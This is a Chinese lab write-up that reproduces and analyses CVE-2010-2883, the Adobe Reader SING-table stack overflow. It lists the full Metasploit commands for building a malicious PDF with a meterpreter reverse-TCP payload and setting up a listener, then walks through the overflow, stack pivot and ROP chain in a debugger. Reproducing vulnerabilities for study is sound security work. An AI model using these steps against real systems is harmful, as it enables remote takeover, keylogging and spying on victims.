CVE-2010-2883漏洞复现及分析
1.CVE-2010-2883漏洞原理:
Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当靶机打开恶意PDF文件时,可允许代码远程执行。
2.使用的练习环境
使用的靶机是 Windows XPx86 SP3(记得把防火墙关闭)
使用的攻击机器是kali;IP 是 192.168.109.130:8888(端口不用特意设置,使用时自动打开了)
3.使用渗透工具
使用工具:msfconsole简称msf是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马。kali中就直接有,打开就可以用了。
4.漏洞利用的渗透过程及结果
首先使用kali终端输入msfconsole就可以打开了。
1.搜索Adobe渗透模块,
msf 6> search adobe_cooltype_sing
2.调用渗透模块,查看可以利用的方式
msf 6> use exploit/windows/fileformat/adobe_cooltype_sing/
1.调用meterpreter载荷,反向连接到渗透机
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
2.设置回连Kali Linux的IP地址 ,此Ip设置成kali的IP(可以通过ifconfig查看kali的IP)
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 192.168.109.130
3.设置本地监听端口
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 8888
4.设置带有后门程序的PDF文件
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set FILENAME GeekFZ.pdf
5.执行渗透,生成PDF文件
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > exploit
1.使用handler监听模块
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > use exploit/multi/handler
2.回弹一个tcp连接
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
3.设置监听IP地址(跟PDF木马文件回连IP一致)
msf6 exploit(multi/handler) > set LHOST 192.168.109.130
4.设置监听的端口(跟PDF木马文件回连端口一致)
msf6 exploit(multi/handler) > set LPORT 8888
5.开启监听
msf6 exploit(multi/handler) > exploit
将生成的文件,拖到靶机Xp中,打开恶意PDF文件。此时就可以利用CVE-2010-2883,成功远程控制靶机。
可以查看靶机的键盘输入、查看靶机的配置信息、对靶机进行截图等等操作。总之靶机已经被我控制了。
5.漏洞复盘
5.1 漏洞基本信息
漏洞文件:低于9.3.4版本的Adobe Reader
漏洞函数:strcat()
漏洞对象:SING表的UniqueName成员
CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,UniqueName字符串拷贝进栈中,并且不检查字符串长度。
5.2 栈溢出复盘
使用IDA打开CoolType.dll,通过字符串SING找到strcat。记录下地址0803DD74,一会去OD中复盘一下栈溢出。
+0x10位置便是UniqueName成员的地址。
来到地址0803DD74设置断点。按F9让pdf阅读器先运行初始化,然后打开用msf6生成的恶意pdf文件(运行过程中出现卡顿和报错是正常现象,不需要理会),在“SING”字符串的地址不远处找到strcat函数的调用,设置断点。
下图是动态分析strcat函数之前这段代码,其功能是检查pdf中是否包含SING表,并解析SING表,获取其UniqueName成员(再sing数据结构中+0x10的位置就是UniqueName成员)。
单步步过strcat函数,来到0x0803DDB0,数据跟随EBP,可以看到返回地址已经被覆盖为0x4A82A714。
来到地址0x4A82A714,设置断点运行过来。执行这两条指令的作用是将栈中跳转地址的下一地址的内容(此处为0x0C0C0C0C)赋值给esp,产生的作用等同于 mov esp,0x0C0C0C0C。
此时的栈顶指针esp被修改为0x0c0c0c0c,这时就将代码执行流引导至地址0x0C0C0C0C处。黄色框中是ROP链,用ROP技术可以绕过DEP。
继续跟进ROP链,会先后调用函数CreateFile 、CreateFileMapping、MapOfViewMap并且创建了文件iso885。将shellcode保存到文件夹,然后映射到内存中,进而得到执行。漏洞分析到这里就结束了,路漫漫其修远兮,吾将上下而求索。
6.参考文献
1.看雪优秀文章:https://hongtai-s.github.io/2021/06/27/cve-2010-2883/
2.bilibili:CVE-2010-2883解析